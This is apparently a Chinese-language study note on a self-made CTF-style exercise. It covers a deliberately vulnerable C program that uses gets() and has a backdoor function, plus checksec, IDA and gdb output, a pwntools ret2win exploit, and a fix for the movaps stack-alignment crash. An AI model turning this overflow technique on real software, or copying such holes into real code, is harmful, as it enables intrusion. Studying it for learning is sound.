1:我自己写的一个简单程序
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
int main()
{
char s[50];
puts("what");
gets(s);
puts(s);
return 0;
}
void backdoor()
{
system("cat test.py");
}
溢出漏洞显而易见
2:checksec
hunter@hunter:~/buu-pwn$ checksec test
[*] '/home/hunter/buu-pwn/test'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位常规操作
3:IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-40h]
puts("what");
gets(&s, argv);
puts(&s);
return 0;
}
有个backdoor函数
int backdoor()
{
return system("cat test.py");
}
4:gdb溢出点72
[-------------------------------------code-------------------------------------]
0x4005a3 <main+44>: call 0x400460 <puts@plt>
0x4005a8 <main+49>: mov eax,0x0
0x4005ad <main+54>: leave
=> 0x4005ae <main+55>: ret
0x4005af <backdoor>: push rbp
0x4005b0 <backdoor+1>: mov rbp,rsp
0x4005b3 <backdoor+4>: lea rdi,[rip+0x9f] # 0x400659
0x4005ba <backdoor+11>: call 0x400470 <system@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde88 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffde90 ("AJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffde98 ("AAKAAgAA6AAL")
0024| 0x7fffffffdea0 --> 0x4c414136 ('6AAL')
0032| 0x7fffffffdea8 --> 0x400577 (<main>: push rbp)
0040| 0x7fffffffdeb0 --> 0x0
0048| 0x7fffffffdeb8 --> 0xb7de885b3d5ed61a
0056| 0x7fffffffdec0 --> 0x400490 (<_start>: xor ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004005ae in main ()
gdb-peda$ pattern offset AAdAA3
AAdAA3 found at offset: 64
gdb-peda$ pattern offset IAAeA
IAAeA found at offset: 72
gdb-peda$
感觉没啥问题
5:exp
from pwn import*
context.log_level = 'debug'
sh = process('./test')
sh.recv()
#使程序跳转到backdoor函数即可
payload = 'A'*72 + p64(0x04005af)
gdb.attach(sh)
sh.sendline(payload)
sh.interactive()
6:执行情况(gdb调试)
RDI: 0x2
RBP: 0x7fffffffdd88 --> 0x0
RSP: 0x7fffffffdd28 --> 0x0
RIP: 0x7ffff7a332f6 (<do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0)
R8 : 0x7ffff7dd1600 --> 0x0
R9 : 0x0
R10: 0x8
R11: 0x246
R12: 0x400659 ("cat test.py")
R13: 0x7fffffffdfa0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7a332e6 <do_system+1078>: movq xmm0,QWORD PTR [rsp+0x8]
0x7ffff7a332ec <do_system+1084>: mov QWORD PTR [rsp+0x8],rax
0x7ffff7a332f1 <do_system+1089>: movhps xmm0,QWORD PTR [rsp+0x8]
=> 0x7ffff7a332f6 <do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0 #程序到这里死活不能动
0x7ffff7a332fb <do_system+1099>: call 0x7ffff7a23110 <__GI___sigaction>
0x7ffff7a33300 <do_system+1104>: lea rsi,[rip+0x39e2f9] # 0x7ffff7dd1600 <quit>
0x7ffff7a33307 <do_system+1111>: xor edx,edx
0x7ffff7a33309 <do_system+1113>: mov edi,0x3
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd28 --> 0x0
0008| 0x7fffffffdd30 --> 0x7ffff7b97e97 --> 0x2f6e69622f00632d ('-c')
0016| 0x7fffffffdd38 --> 0x0
0024| 0x7fffffffdd40 --> 0x1
0032| 0x7fffffffdd48 --> 0x7ffff7a33360 (<cancel_handler>: push rbx)
0040| 0x7fffffffdd50 --> 0x7fffffffdd44 --> 0xf7a3336000000000
0048| 0x7fffffffdd58 --> 0x0
0056| 0x7fffffffdd60 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff7a332f6 in do_system (line=0x400659 "cat test.py") at ../sysdeps/posix/system.c:125
125 ../sysdeps/posix/system.c: 没有那个文件或目录.
gdb-peda$
7:原因
向大佬求助得知,奈何涉及堆栈平衡,适时吾甚愚昧不知所云,只可将0x7ffff7a332f6 <do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0指令铭记于心,付以esp寄存器需需结尾为0
若想根治则反复使用pop , ret指令平衡参数或跳转。以及自制代码buf莫要随意限其大小,常见128,512甚好(8的整数倍)
修改利用ret指令
[DEBUG] Received 0xd3 bytes:
'from pwn import*\n'
"context.log_level = 'debug'\n"
'\n'
"sh = process('./test')\n"
'sh.recv()\n'
'#0x000000000040044e : ret\n'
"payload = 'A'*72 + p64(0x040044e) + p64(0x04005af)\n"
'gdb.attach(sh)\n'
'sh.sendline(payload)\n'
'\n'
'sh.interactive()\n'
from pwn import*
context.log_level = 'debug'
sh = process('./test')
sh.recv()
#0x000000000040044e : ret
payload = 'A'*72 + p64(0x040044e) + p64(0x04005af)
gdb.attach(sh)
sh.sendline(payload)
sh.interactive()
[*] Got EOF while reading in interactive
$
所以以后能跳转到system函数时出错看看是不是这个原因